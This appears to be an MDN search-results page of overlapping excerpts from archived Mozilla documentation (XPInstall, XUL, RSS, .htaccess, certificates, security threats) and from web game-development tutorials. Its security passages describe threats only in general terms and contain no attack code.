WebShell.mObserver as nsIStreamObserver and the
webshell as nsIContentViewerContainer to the DocLoader.] (2) The Document Loader calls NS_OpenURI with the url to begin transfering the requested file. Necko (the network library) checks the url scheme (the first part of the url, http: in this case) and locates the correct nsIProtocolHandler (in this case nsHTTPHandler) and asks it for a nsIChannel (nsHTTPChannel). The channel represents the connection to the server, a...
...rl to begin transfering the requested file. Necko (the network library) checks the url scheme (the first part of the url, http: in this case) and locates the correct nsIProtocolHandler (in this case nsHTTPHandler) and asks it for a nsIChannel (nsHTTPChannel). The channel represents the connection to the server, and is the source of the html data stream. (3) When data is starting to come from the
webserver the nsIChannel calls the OnStartRequest in the DocumenLoader. Now the channel knows the content type of the incoming data, so the DocumentLoader can find an nsIDocumentLoaderFactory for the "text/html" content type (in this case an nsLayoutDLF). This factory is then told to create a nsIContentViewer. The factory creates a ContentViewer. In most cases (including this) it also creates a nsIDo...
...the DocumentLoader can find an nsIDocumentLoaderFactory for the "text/html" content type (in this case an nsLayoutDLF). This factory is then told to create a nsIContentViewer. The factory creates a ContentViewer. In most cases (including this) it also creates a nsIDocument (nsHTMLDocument) and binds it to the ContentViewer. The ContentViewer is then Embed():ed into the ContentViewerContainer (the
WebShell). (4) The document then creates a nsIParser for parsing the input stream. For HTML document this is an nsParser, which also implements nsIStreamListener. This StreamListener is returned to the DocumentLoader and connected to the nsIChannel of the request. (5) The Document (nsHTMLDocument) also creates a nsIContentSink (nsHTMLContentSink) and connects it to the parser and the document. The ...
Using XPInstall to Install Plugins - Archive of obsolete content
the code snippet above, the initInstall method is invoked with three parameters: A String for the name of the application A String signifying the Plugin Identifier associated with the plugin. This value is actually entered in the Client Version Registry upon installation, a Mozilla-browser file that stores metadata about the software that has just been installed. This value can be queried via
web-page delivered JavaScript, and is useful for initiating XPInstall downloads via Trigger Scripts. You can determine the version of the software that has been installed, and determine whether to update it, all via JavaScript in a
web-page. A String representing the four digit version of the software. Caveat: Certain versions of Mozilla-based browsers (such as Netscape 6.x) treat the use of the eq...
...on different platforms and OS's. A single install.js is often capable of running on many different platforms. Some Installation Concerns This section gathers together some of the chief concerns about deploying XPI packages, notably: how ought a plugin download via XPI be initiated? And what about uninstalling plugins? Triggering an XPInstall Download with a TriggerScript A Trigger Script is
web-page delivered piece of JavaScript that can automatically initiate an XPInstall download. This can be done conditionally, since Trigger Scripts can also detect what software has already been installed to the user's machine via XPInstall. This feature is useful for
Web sites because: HTML pages and JavaScript already have a way of detecting what plugins are installed. Additionally, via the Insta...
...hat can automatically initiate an XPInstall download. This can be done conditionally, since Trigger Scripts can also detect what software has already been installed to the user's machine via XPInstall. This feature is useful for
Web sites because: HTML pages and JavaScript already have a way of detecting what plugins are installed. Additionally, via the InstallTrigger object which is exposed in
Web pages, they can find out what the last version of the XPI Package was. The InstallTrigger object can also start an XPI download automatically. This is useful because users can visit a
Web site, and conditionally get served software (in a streamlined manner) that the
Web site wants the user to have. Trigger Scripts are a recommended way of initiating an XPInstall download. Triggering an XPInst...
A XUL Bestiary - Archive of obsolete content
s article is not to describe these items in any great detail but to define what they are in simple terms. I selected items for this group because they seemed to be either shrouded in mystery, misused as concepts or terms, or underestimated according to their role in XUL and cross-platform development. In contrast to the Mozilla Jargon File, this article describes items of specific interest to the
web or content developer looking to establish a context for understanding Mozilla's new technologies -- and in particular Mozilla's XML-based User Interface Language, XUL. Chrome Some of the most powerful and frequently misunderstood features of XUL and the Mozilla browser have to do with chrome. The term chrome is used in different contexts to mean different things. In general, chrome refers to a ...
...s the DOM sits the window object itself. The window has child nodes like the document itself, a history object which records the pages a user has seen, frame nodes, and so on, all of which are accessible programmatically. With the dramatic improvements in the object model and the power of the W3C DOM Level 2, the concept of the DOM is displacing that of the more abstract DHTML. Since any dynamic
web development is dependent upon programmatic access to the
web document (or XUL interface), and since the DOM is a standard and earlier notions of Dynamic HTML were not, the term "DOM" is used as a synonym for or instead of terms like "Dynamic HTML" or "DHTML." The AOM stands for the Application Object Model, and is an extension of the DOM up into the interface defined in XUL. Just as HTML is refl...
...it. The differences here are significant: XUL is the universe of elements, attributes, syntax, rules, and relationships, while XPToolkit is really the finite set of interface-specific elements created in XUL. The XPFE is what's been created out of the XPToolkit. A loosely analogous relationship might be that XUL, XPToolkit, and XPFE are to one another what HTML, the actual HTML tags, and an HTML
web page are to one another, respectively. XUL Parts People sometimes get confused about the syntax for describing the parts of a widget. For a widget like the menu that appears in the following example, menu is the element and both value and the id are attributes. <menu id="file" label="File"> <menupopup> <menuitem label="New" oncommand="CreateNewDoc()" /> <menuitem label="Open" oncomma...
Trees and Templates - Archive of obsolete content
The tree should display a list of the files in the root directory. Only one rule is used, but you may add others if needed. Like with other templates, the uri attribute on an element indicates...
... default. The following example changes the columns in the earlier example to incorporate the extra features: <treecols> <treecol id="Name" label="Name" flex="1" primary="true" sortActive="true" sortDirection="ascending" sort="rdf:http://home.netscape.com/NC-rdf#Name"/> <splitter/> <treecol id="Date" label="Date" flex="1" sort="rdf:http://home.netscape.com/
WEB-rdf#LastModifiedDate"/> </treecols> Persisting Column State One additional thing you might want to do is persist which column is currently sorted, so that it is remembered between sessions. To do this, we use the persist attribute on each treecol element. There are five attributes of columns that need to be persisted, to save the column width, the column order, whether the column is visible, whi...
... There are five attributes of columns that need to be persisted, to save the column width, the column order, whether the column is visible, which column is currently sorted and the sort direction. The following example shows a sample column: <treecol id="Date" label="Date" flex="1" persist="width ordinal hidden sortActive sortDirection" sort="rdf:http://home.netscape.com/
WEB-rdf#LastModifiedDate"/> More details about the persist attribute will be described in the later section. Additional Rule Attributes There are two additional attributes that can be added to the rule element that allow it to match in certain special circumstances. Both are boolean attributes. iscontainer If this attribute is set to true, then the rule will match all resources that h...
2006-12-01 - Archive of obsolete content
This implementation was removed in 2002 to fight against popups. XML in Firefox is a Major Problem A major debate surrounding the use of xml for customizing RSS feeds. Devs say this is the way its supposed to be, others say its a bug! The debate continues. ...
...against popups. XML in Firefox is a Major Problem A major debate surrounding the use of xml for customizing RSS feeds. Devs say this is the way its supposed to be, others say its a bug! The debate continues. Discussion of support for Modal windows within Firefox 2.0 A lengthy post regarding the re-implementation of modal windows into firefox. Basic Feature that I think is a must in any
web broswer A discussion revolving around the idea of having firefox automatically convert mistaken non-English characters to English so that
web addresses will be completed. mozStorage documentation up A revisted discussion surround the mozStorage documentation. rich results for searches A proposal to implement "rich results", a set of registered sites that would provide information as it r...
...rage documentation up A revisted discussion surround the mozStorage documentation. rich results for searches A proposal to implement "rich results", a set of registered sites that would provide information as it relates to a user's search. Windows DDE Shell Integration removal A call for responses or concerns regarding the removal of the DDE Shell Integration. How do allow an internal
web site to have UniversalBrowserWrite? A question regarding having an internal
website use UniversalBrowserWrite on a local intranet. Developping microsummary generator Questions and discussion surrounding microsummaries in FF 2.0. Applying extensions Question regarding the proper application of FF extensions. Finding out how blur() works... Question regarding how to access the function...
Adobe Flash - Archive of obsolete content
onality for access via JavaScript. It can also access JavaScript methods from within the plugin. This article explains how JavaScript can be used to access methods from within the Flash plugin, as well as how a feature called FSCommands can be used to access JavaScript functions from within the Flash animation. The focus of this article is to present tips on scripting Flash within Gecko(TM)-based
web browsers. Detecting the Right Flash Plugin (and browser) Adobe Flash has exposed the scriptability feature in Netscape Gecko browsers since Flash 6r49 and later. Versions of Flash prior to Flash 6r49 (such as Flash 5) are not scriptable in Netscape Gecko browsers. Thus client-side detection for the right version of Flash is an important aspect of creating a scripted Flash experience. On Mac OS ...
... samples. Performance and Flash As is the case with any plug-in content, Flash content has the potential to slow down or even completely stall not just the tab it's running in, but the entire browser and even the entire computer it's being used on. Avoiding poorly-written or unnecessary Flash content is crucial to ensuring the user has a positive experience on not just your site, but the entire
Web. As part of Mozilla's effort to improve the user experience, a feature was added in Firefox 49 that automatically blocks certain Flash modules that have little or no user-noticeable impact from being used. These block-listed modules include various fingerprinting and HTTP_cookie#Supercookie modules. In the future, other modules may be blocked as well. And, of course, eventually Flash support will...
...efox 49 that automatically blocks certain Flash modules that have little or no user-noticeable impact from being used. These block-listed modules include various fingerprinting and HTTP_cookie#Supercookie modules. In the future, other modules may be blocked as well. And, of course, eventually Flash support will be removed from Firefox entirely. Most of its functions can be reproduced using modern
Web APIs. Using the right HTML The object element OR the embed element can be used to invoke plugins in Netscape Gecko browsers. The former is part of the W3C HTML 4 standard, whereas the latter is a deprecated element, as discussed in Using the Right Markup to Invoke Plugins. However, if you wish to use FSCommands with the Flash plugin to call JavaScript functions in an HTML page, then you must us...
Plugins - Archive of obsolete content
Important: Since Firefox 52, all plugin support except Flash has been dropped (see Plug-in support has been dropped other than Flash for more details). Flash usage is also set to be phased out in the future. Note: Plugins are now a legacy technology. They are not available on most mobile devices. Mozilla encourages
website developers to avoid using plugins wherever possible and use standard
Web APIs instead. If there are plugin features which are not available in the
web platform, we encourage developers to post their use cases to mozilla.dev.platform project list, so that Mozilla can prioritize
web platform work to make those use cases possible. For more information about plugin roadmap, see non-archived plugin information. Plugins are shared libraries that users can install t...
...hose use cases possible. For more information about plugin roadmap, see non-archived plugin information. Plugins are shared libraries that users can install to display content that the browser can't display natively. For example, the Adobe Reader plugin lets the user open PDF files directly inside the browser, and the QuickTime and RealPlayer plugins are used to play special format videos in a
web page. Plugins are written using NPAPI, the cross-browser API for plugins. The main source of documentation for NPAPI is the Gecko Plugin API Reference. To make your plugin scriptable from
web pages, use npruntime. Plugins can be written completely from scratch using C APIs (usually in C or C++) or they may be built on a plugin framework such as Firebreath, JUCE, or QtBrowserPlugin. There are al...
...nctionality of the browser itself. Plugins are also different from search plugins, which plug additional search engines in the search bar. Gecko Plugin API Reference (NPAPI) This reference describes the application programming interfaces for NPAPI plugins and provides information about how to use these interfaces. Site Author Guide For Click-To-Activate Plugins These guidelines will help
website authors use plugins when they are blocked by default with the Firefox click-to-activate feature. Scripting plugins (npruntime) This reference describes the new cross-browser NPAPI extensions that let plugins be scriptable and also let them access the script objects in the browser. Shipping a plugin as a Toolkit bundle Plugins can be shipped as a Toolkit bundle, allowing a user to ea...
Element - Archive of obsolete content
RSS Well-Formed
Web Module Elements NOTE: In the list of elements below the wfw XML Namespace prefix is used (since it is a popular choice). However, use of wfw as the XML Namespace prefix is NOT necessary. You are free to to choose your own prefix for this. ...
... RSS Well-Formed
Web Module Elements NOTE: In the list of elements below the wfw XML Namespace prefix is used (since it is a popular choice). However, use of wfw as the XML Namespace prefix is NOT necessary. You are free to to choose your own prefix for this. ...
... RSS Well-Formed
Web Module Elements NOTE: In the list of elements below the wfw XML Namespace prefix is used (since it is a popular choice). However, use of wfw as the XML Namespace prefix is NOT necessary. You are free to to choose your own prefix for this. ...
0.90 - Archive of obsolete content
(And not only a syndication format, as it is today.) RSS 0.90 is an RDF-based format. When RSS 0.90 was created, the RSS initialization stood for Rich Site Summary and not Really Simple Syndication. (See RSS - What is in a Name for more info on RSS's naming history.) NOTE: RSS 0.90 has been deprecated. ...
...S 0.90 feeds though. ...
...y/1999/</link> </item> <item> <title>Unix Platform Parity</title> <link>http://www.mozilla.org/build/unix.html</link> </item> <item> <title>NPL 1.0M published</title> <link>http://www.mozilla.org/NPL/NPL-1.0M.html</link> </item> </rdf:RDF> Note that here, RSS is being used to list sections of the
web site. Rather than for syndication. Specification The original RSS 0.90 specification has disappeared from its original location: http://my.netscape.com/publish/help/quickstart.html Copies of it have been saved, and can be viewed at the following locations: http://www.purplepages.ie/RSS/netscape/rss0.90.html http://
web.archive.org/
web/*/http://...uickstart.html ...
.htaccess ( hypertext access ) - Archive of obsolete content
ss file configures the current directory with things like password protection, URL rewrites & redirects, and more. File Accessing : htaccess files can be opened using any text editor, like Windows Notepad, Vin, Sublime text editor or any other. Syntax highliting support for .htaccess files less. Common Application URL Redirects & rewrite: htaccess files are often used to redirect traffic to a
web page to another or from traffic to a directory to another even between domains is possible. It's a fast and efficient way of redirecting traffic, because the redirect happens before the pages are served. Redirects can be made on a temporary basis or permanently by supplying the status codes. Redirect 301 / http://example.com/ # redirect the traffic to the directory to example.com , Permane...
...op or bottom, automatically through your .htaccess file. ...
... MIME types : see correct MIME types for further information. ...
Introduction to Public-Key Cryptography - Archive of obsolete content
text of network interactions, authentication involves the confident identification of one party by another party. Authentication over networks can take many forms. Certificates are one way of supporting authentication. Network interactions typically take place between a client, such as browser software running on a personal computer, and a server, such as the software and hardware used to host a
Web site. Client authentication refers to the confident identification of a client by a server (that is, identification of the person assumed to be using the client software). Server authentication refers to the confident identification of a server by a client (that is, identification of the organization assumed to be responsible for the server at a particular network address). Client and server aut...
...r without client authentication. Server authentication is a requirement for an encrypted SSL session. For more information, see "SSL Protocol". Example: Internet sites that engage in electronic commerce (commonly known as e-commerce) usually support certificate-based server authentication, at a minimum, to establish an encrypted SSL session and to assure customers that they are dealing with a
web site identified with a particular company. The encrypted SSL session ensures that personal information sent over the network, such as credit card numbers, cannot easily be intercepted. S/MIME certificates. Used for signed and encrypted email. As with client SSL certificates, the identity of the client is typically assumed to be the same as the identity of a human being, such as an employee in...
...ates are included in the verifier's local database. For general information about the way digital signatures work, see "Digital Signatures". For a more detailed description of the signature verification process in the context of SSL client and server authentication, see "Introduction to SSL." Managing Certificates Certificates are used in many applications, from encrypting email to accessing
websites. There are two major stages in the lifecycle of a certificate: the point when it is issued (issuance and enrollment) and the period when the certificates are no longer valid (renewal or revocation). There are also ways to manage the certificate during its lifecycle. Making information about the certificate available to other applications is publishing the certificate and then backing up the ...
Threats - Archive of obsolete content
example.net, or a computer can identify itself as a site called www.example.net when it is not. This type of impersonation is known as spoofing. Misrepresentation. A person or organization can misrepresent itself. For example, suppose the site www.example.net pretends to be a furniture store when it is really just a site that takes credit-card payments but never sends any goods. Malware.
Website malware is a growing problem. Business needs have changed the way
websites store sensistive data, with more usage of cloud services. But hackers may make out money, data and confidential information from your
website by infecting
website with malware. For example, Site can be infected with a malware redirect hack in which a legitimate redirects to spam site or a phishing page. This kind of ma...
...For more detailed look on this you can refer to this detailed post on wordpress malware redirect. Phishing. Phishing is a method of a social engineering with the goal of obtaining sensitive data such as passwords, usernames, credit card numbers. ...
...nt messages or phishing emails which appear to be legitimate but they are used to obtain personal information. For example, a mail which appears to be to be sent from a bank, asking to verify your identity by giving away your private information. DDOS Network attack. The volume and strength of DDoS attacks are growing as hackers try to bring organizations offline or steal their data by flooding
websites and networks with spurious traffic. Original Document Information Author(s): Ella Deon Lackey Last Updated Date: 2012 Copyright Information: (C) 2012 Red Hat, Inc. Link: Red Hat Certificate System Common Criteria Certification 8.1: Deployment, Planning, and Installation Original Document Information Author(s): Joint Task Force Transformation Initiative Title: National Instit...
Vulnerabilities - Archive of obsolete content
, while also introducing the possibility of someone violating the trust assumptions to compromise security. For example, email client software may contain a feature that renders HTML content in email messages. An attacker could craft a fraudulent email message that contains hyperlinks that, when rendered in HTML, appear to the recipient to be benign but actually take the recipient to a malicious
web site when they are clicked on. One of the trust assumptions in the design of the HTML content rendering feature was that users would not receive malicious hyperlinks and click on them. Software feature misuse vulnerabilities are introduced during the design of the software or a component of the software (e.g., a protocol that the software implements). Trust assumptions may have been explicit--fo...
...will only be exploitable under a combination of highly unlikely conditions. One vulnerability might provide root-level access to a system, while another vulnerability might only permit read access to an insignificant file. Ultimately, organizations need to know how difficult it is for someone to exploit each vulnerability and, if a vulnerability is exploited, what the possible impact would be.
Website Vulnerabilities OWASP or Open
Web Security Project is a non-profit charitable organization focused on improving the security of software and
web applications. According to the Open
Web Application Security Project, XSS was the seventh most common
Web app vulnerability in 2017. The organization publishes a list of top
web security vulnerabilities based on the data from various security organ...
...ities OWASP or Open
Web Security Project is a non-profit charitable organization focused on improving the security of software and
web applications. According to the Open
Web Application Security Project, XSS was the seventh most common
Web app vulnerability in 2017. The organization publishes a list of top
web security vulnerabilities based on the data from various security organizations. The
web security vulnerabilities are prioritized depending on exploitability, detectability and impact on software which can be any CMS such as WordPress, Joomla, Magento, Wocommerce and more. Here are six of the most common
website vulnerabilities you must protect yourself against. 1. SQL Injections 2. Cross Site Scripting (XSS) 3. Broken Authentication & Session Management 4. Insecure Direct Objec...
Using the W3C DOM - Archive of obsolete content
o half an inch: // in the HTML: <div id="inset">Sample Text</div> document.getElementById("inset").style.marginLeft = ".5in"; Note: Internet Explorer 5 through 7 have a flawed implementation of getElementById(), which returns the first element with a matching NAME or ID (Id versus name when using getElementById, MSDN: getElementById Method). ...
...inserting them in a document, for creating attributes, new content, for traversing the content tree and for handling events dispatched as the user interacts with the document itself. Manipulating Document Style and Content Changing an Element's Style Using the DOM The following table describes standards-based methods for accessing and updating style rules defined for various HTML elements in a
web page. See the W3C DOM 2 Recommendation, CSS2 Extended Interface. DOM level 2 provides for the assignment of new values to the CSS properties of an element using the ElemRef.style object reference. You can get a reference to the element to which that style corresponds by using the DOM's getElementById or one of the other methods described in the DOM access section above. Deprecated codi...
...in the DOM by David Baron Element.innerHTML Speed and performance comparison between innerHTML attribute and DOM's nodeValue when modifying the text data of a text node by Gerard Talbot Interactive DOM level 2 CharacterData Interface attributes and methods tests: other ways to modify (replace, delete, manipulate) efficiently text nodes in the DOM by Gerard Talbot <- Previous section: Using
web standards: how Next section: Developing Cross-browser pages -> ...
Browser Feature Detection - Archive of obsolete content
in a browser's DOM to detect the browser type and whether it supports a given operation. This test takes that idea to the extreme and tests a large number of properties and methods to determine the level of support a browser has for particular standards and reports a rating as the percentage of names the browser defines. This article has generally never been more than a way to show off Firefox
Web compatibility, rather than something truly informative in a broader sense. Therefore, given that it's also badly out of date, it's been archived. You should not rely on any information here. Browser Sniffing via API Name Detection The following tables list the API names defined for specific W3C DOM APIs and lists the percentage of names that your browser actually defines followed by a list of ...
...tually defines followed by a list of each of the API names tested along with an indication of whether the name was defined for your browser. It is clear from these test results that Netscape 7.0x and Mozilla Firefox have the greatest DOM support although Internet Explorer, Safari, and Opera have sufficient DOM CSS 1 and DOM Level 1 & 2 document property and method support to enable cross browser
web development. Test Summary Standard Netscape 7.0x Firefox 1.5 Safari 2 Opera 7 / 8.5-9.0 Internet Explorer 6 / 7 DOM Core 1 100% 100% 100% 75% / 91% 75% / 75% DOM Core 2 100% 100% 100% 70% / 94% 58% / 58% DOM 1 HTML 100% 100% 100% 100% / 100% 100% / 100% DOM CSS 1 100% 100% 100% ...
... Note: This reprinted article was originally part of the DevEdge site. ...
Standards-Compliant Authoring Tools - Archive of obsolete content
Validation is done with HTML Tidy, so you can verify standards compliance. ...
...ls that rely on old browser bugs or generate browser-specific code, it may be time to upgrade: NVu is a standalone editor created from the remains of Mozilla Composer. Currently the work done on NVu is being ported back to mozilla source code. HTML-Kit is a full-featured, low priced editor designed to help HTML, XHTML and XML authors to edit, format, lookup help, validate, preview and publish
web pages. Validation is done with HTML Tidy, so you can verify standards compliance. Macromedia(TM) Dreamweaver(TM) CS6 Style Master and Layout Master by Western Civilisation Some caveats: It appears that tools currently available from Namo generate IE-specific or Netscape 4-specific code that may require extra debugging for compatibility with standards-based browsers. Newer versions of Microsof...
...eaver(TM) CS6 Style Master and Layout Master by Western Civilisation Some caveats: It appears that tools currently available from Namo generate IE-specific or Netscape 4-specific code that may require extra debugging for compatibility with standards-based browsers. Newer versions of Microsoft FrontPage(TM) have improved, however be sure not to rely on FrontPage-specific extensions for critical
website content or functionality. Some versions of Microsoft Word create invalid HTML code that only works with Internet Explorer. Always be sure to validate your
web pages. Original Document Information Last Updated Date: January 30th, 2003 Copyright (C) 2001-2003 Netscape. All rights reserved. Related links Validators HTML Central ...
background-size - Archive of obsolete content
Should not the "Browser compatibility" table also list Google Chrome and Konqueror? Chome is not mentioned at all, but is becoming increasingly popular. Konqueror is listed below the table, which seems inconsistent. Znerd 04 August 2009 Chrome, Iron, Icab4, Omni
Web etc. are based on
WebKit, like Netscape 6-8, SeaMonkey, Camino, Flock, Fennec, Blackbird etc. are based on Gecko. Both layout engines are mentioned in the table. People should refer to the
WebKit and Gecko version to get the info they need. Agreed; we should definitely encourage people to look stuff up by engine rather than browser. These tables should be revised over time to list Gecko,
WebKit, Internet Explorer, and Opera, with perhaps a tooltip on each that provides details on which browsers are encompassed by each. I'm ...
...ed. Agreed; we should definitely encourage people to look stuff up by engine rather than browser. These tables should be revised over time to list Gecko,
WebKit, Internet Explorer, and Opera, with perhaps a tooltip on each that provides details on which browsers are encompassed by each. I'm going to post on dev-mdc momentarily with a proposal on this. (Sheppy 07 December 2009) We should encourage
web developers to ask for layout engines, not for browsers. [That said, the popularity of Chrome let me think of a table row like Safari, Chrome (
WebKit) | 4.0, 2.0 (528). But I'm not able and willing spending time for this. Remember you have to test yourself, don't trust online references, don't trust
WebKit | Apple | Google homepage, they are wrong. DON'T TRUST THE INTERNET AT ALLl! ] Listing...
... not effective. People especially interested in this browser are welcome to contribute. It's hard to get reliable information about its CSS support without having this browser (read: multiple versions of this browser) installed. Are you able and willing to do that for all CSS properties? If so, feel free to change the en/CSS_Reference/Property_Template and all CSS property pages ; ) Start with -
webkit-background-size and investigate support of contain and cover keywords and "omitted second value" behavior. [I assume it's the same as Safari, since they just backported a
WebKit patch into KHTML. But we need facts, rather than assumptions.] Btw, some time ago I'v listed Opera in the property template table and removed Netscape because Netscape is Gecko based and Opera has a global market shar...
Game monetization - Game development
s to not annoy the players too much, but visible enough to make them click it or at least take notice. Adding adverts between game sessions on game over screens is a popular approach. Licensing There's an approach that can work as a monetization model on it's own, and that's selling licenses for distribution of your game. There are more and more portals interested in showing your games on their
websites. They follow various strategies to earn money via your games, but you don't have to worry about all that as selling the license is usually a one-time deal. You get the money and they can get creative with using your game to make money. Finding publishers might be hard at first -- try to look for them at the HTML5 Gamedevs forums. If you're well known they may reach out to you. Most of the d...
...all that as selling the license is usually a one-time deal. You get the money and they can get creative with using your game to make money. Finding publishers might be hard at first -- try to look for them at the HTML5 Gamedevs forums. If you're well known they may reach out to you. Most of the deals are done through emails when talking to a dedicated person on the publisher side. Some publisher
websites have that information easily available, while some others are harder to find. When reaching a publisher try to be nice and straight to the point -- they are busy people. Exclusive licenses The exclusive license is a type of license for one publisher -- you've built a game and you're selling all the rights to it to a single entity along with the rights to redistribute it -- Softgames are an...
... to write articles about your games and even get paid for them. Game promotion and monetization at the same time is a win-win, and if you don't abuse it with too much advertising the readers will enjoy reading them and as well as learning a thing or two. If you focus on sharing the knowledge first and use your games just as the examples it should be ok. Check out Tuts+ Game Development or similar
websites for writing opportunities. Merchandise You can sell t-shirts, stickers or other gadgets -- some devs make more money from the merchandise than from the games themselves, but it only works on very popular and recognizable games like Angry Birds. Still, it could be another small stream of passive income. The more diversified your earnings are, the better your business stability. Donations ...
Building up a basic demo with the PlayCanvas engine - Game development
rendered on the screen. If you have already worked through our Building up a basic demo with Three.js article (or you are familiar with other 3D libraries) you'll notice that PlayCanvas works on similar concepts: camera, light and objects. Environment setup To start developing with PlayCanvas, you don't need much. You should start off by: Making sure you are using a modern browser with good
WebGL support, such as the latest Firefox or Chrome. Creating a directory to store your experiments in. Saving a copy of the latest PlayCanvas engine inside your directory. Opening the PlayCanvas documentation in a separate tab -- it is useful to refer to. HTML structure Here's the HTML structure we will use. <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>MDN Games: PlayCa...
...pc.PhongMaterial(); boxMaterial.diffuse.set(0, 0.58, 0.86); boxMaterial.update(); box.model.model.meshInstances[0].material = boxMaterial; By diffusing the light on the object we can give it it's own color --we'll choose a nice familiar blue. Note: In PlayCanvas, the color channel values are provided as floats in the range 0-1, instead of integers of 0-255 as you might be used to using on the
Web. After the material is created and its color is set, it has to be updated so our changes are going to be applied. Then all we need to do is set the box's material to the newly created boxMaterial. Congratulations, you've created your first object in a 3D environment using PlayCanvas! It was easier than you thought, right? Here's how it should look: And here's the code we have created so far...
... ...
GLSL Shaders - Game development
-in GLSL variable like gl_Position. The calculations result in a variable containing the information about the RGBA color. Demo Let's build a simple demo to explain those shaders in action. Be sure to read Three.js tutorial first to grasp the concept of the scene, its objects, and materials. Note: Remember that you don't have to use Three.js or any other library to write your shaders -- pure
WebGL (
Web Graphics Library) is more than enough. We've used Three.js here to make the background code a lot simpler and clearer to understand, so you can just focus on the shader code. Three.js and other 3D libraries abstract a lot of things for you -- if you wanted to create such an example in raw
WebGL, you'd have to write a lot of extra code to actually make it work. Environment setup To start...
...aphics Library) is more than enough. We've used Three.js here to make the background code a lot simpler and clearer to understand, so you can just focus on the shader code. Three.js and other 3D libraries abstract a lot of things for you -- if you wanted to create such an example in raw
WebGL, you'd have to write a lot of extra code to actually make it work. Environment setup To start with the
WebGL shaders you don't need much. You should: Make sure you are using a modern browser with good
WebGL support, such as the latest Firefox or Chrome. Create a directory to store your experiments in. Save a copy of the latest minimized Three.js library inside your directory. HTML structure Here's the HTML structure we will use. <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>MD...
...id main() { gl_Position = projectionMatrix * modelViewMatrix * vec4(position.x+10.0, position.y, position.z+5.0, 1.0); } </script> <script id="fragmentShader" type="x-shader/x-fragment"> void main() { gl_FragColor = vec4(0.0, 0.58, 0.86, 1.0); } </script> JavaScript var WIDTH = window.innerWidth; var HEIGHT = window.innerHeight; var renderer = new THREE.
WebGLRenderer({antialias:true}); renderer.setSize(WIDTH, HEIGHT); renderer.setClearColor(0xDDDDDD, 1); document.body.appendChild(renderer.domElement); var scene = new THREE.Scene(); var camera = new THREE.PerspectiveCamera(70, WIDTH/HEIGHT); camera.position.z = 50; scene.add(camera); var boxGeometry = new THREE.BoxGeometry(10, 10, 10); var shaderMaterial = new ...
Unconventional controls - Game development
Previous Overview: Control mechanisms Having different control mechanisms in your game helps reach broader audiences. Implementing mobile and desktop controls is recommended is a must, and gamepad controls add that extra experience. But imagine going even further -- in this article we will explore various unconventional ways to control your
web game, some more unconventional than others. TV remote Playing games on a TV screen doesn't always have to be done through consoles. There's already a Gamepad API working on the desktop computers, so we can imitate the experience, but we can go even further. Modern smart TVs can handle HTML5 games, because they have a built-in browser that can be used as a gaming platform. Smart TVs are shipped with remote controls, which can be used to...
...can see it in action by watching this video. Leap Motion Have you ever thought about controlling a game only with your hands? It's possible with Leap Motion, an immersive controller for games and apps. Leapmotion is becoming more and more popular due to very good integration with VR headsets -- demoing Rainbow Membrane on an Oculus Rift with Leap Motion attached to it was voted one of the best
WebVR experiences by JavaScript developers visiting demo booths at conferences around the world. As well as being great for virtual interfaces, it can also be used for a casual 2D gaming experiences. It would be very difficult to do everything with only your hands, but it's totally doable for the simple Captain Roger's gameplay -- steering the ship and shooting the bullets. There's good Hello World...
...ith only your hands, but it's totally doable for the simple Captain Roger's gameplay -- steering the ship and shooting the bullets. There's good Hello World and Getting Started JavaScript tutorials available on the Leap Motion documentation pages, which will get you through the basics. You can also check out the tutorial about using Leap Motion plugin for Kiwi.js, or the case study of building a
web game with Leap Motion and Pixi.js. Be sure to visit the LeapJS repository on GitHub to learn about the JavaScript client for the Leap Motion controller and read the documentation there. If all else fails, there's also a gallery of working examples you can look at. To get the Leap Motion working on your computer you have to first install it by following the steps at leapmotion.com/setup. When eve...
2D breakout game using pure JavaScript - Game development
. You will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, and winning and losing states. To get the most out of this series of articles you should already have basic to intermediate JavaScript knowledge. After working through this tutorial you should be able to build your own simple
Web games. Lesson details All the lessons -- and the different versions of the MDN Breakout game we are building together -- are available on GitHub: Create the Canvas and draw on it Move the ball Bounce off the walls Paddle and keyboard controls Game over Build the brick field Collision detection Track the score and win Mouse controls Finishing up Starting with pure JavaScript is t...
...After that, you can pick any framework you like and use it for your projects. Frameworks are just tools built with the JavaScript language; so even if you plan on working with them, it's good to learn about the language itself first to know what exactly is going on under the hood. Frameworks speed up development time and help take care of boring parts of the game, but if somethi...
...f you plan on working with them, it's good to learn about the language itself first to know what exactly is going on under the hood. Frameworks speed up development time and help take care of boring parts of the game, but if something is not working as expected, you can always try to debug that or just write your own solutions in pure JavaScript. Note: If you are interested in learning about 2D
web game development using a game library, consult this series' counterpart, 2D breakout game using Phaser. Note: This series of articles can be used as material for hands-on game development workshops. You can also make use of the Gamedev Canvas Content Kit based on this tutorial if you want to give a talk about game development in general. Next steps Ok, let's get started! Head to the first c...
2D maze game with device orientation - Game development
The <body> contains initialization of the Phaser framework and the definitions of the game states. var game = new Phaser.Game(320, 480, Phaser.CANVAS, 'game'); The line above will initialize the Phaser instance -- the arguments are the width of the Canvas, height of the Canv...
...title, CSS styling and the inclusion of the JavaScript files. The <body> contains initialization of the Phaser framework and the definitions of the game states. var game = new Phaser.Game(320, 480, Phaser.CANVAS, 'game'); The line above will initialize the Phaser instance -- the arguments are the width of the Canvas, height of the Canvas, rendering method (we're using CANVAS, but there are also
WEBGL and AUTO options available) and the optional ID of the DOM container we want to put the Canvas in. If there's nothing specified in that last argument or the element is not found, the Canvas will be added to the <body> tag. Without the framework, to add the Canvas element to the page, you would have to write something like this inside the <body> tag: <canvas id='game' width='320' height='480'><...
...re are endless possibilities -- they only depend on your imagination. Summary I hope this tutorial will help you dive into 2D game development and inspire you to create awesome games on your own. You can play the demo game Cyber Orb and check out its source code on GitHub. HTML5 gives us raw tools, the frameworks built on top of it are getting faster and better, so now is a great time get into
web game development. In this tutorial we used Phaser, but there are a number of other frameworks worth considering too like ImpactJS, Construct 2 or PlayCanvas -- it depends on your preferences, coding skills (or lack thereof), project scale, requirements and other aspects. You should check them all out and decide which one suits your needs best. ...
Visual JS GE - Game development
Installation and setup First of all download Visual-js from bitbucket. Extract the package into your root folder. ...
... Installation and setup First of all download Visual-js from bitbucket. Extract the package into your root folder. ...
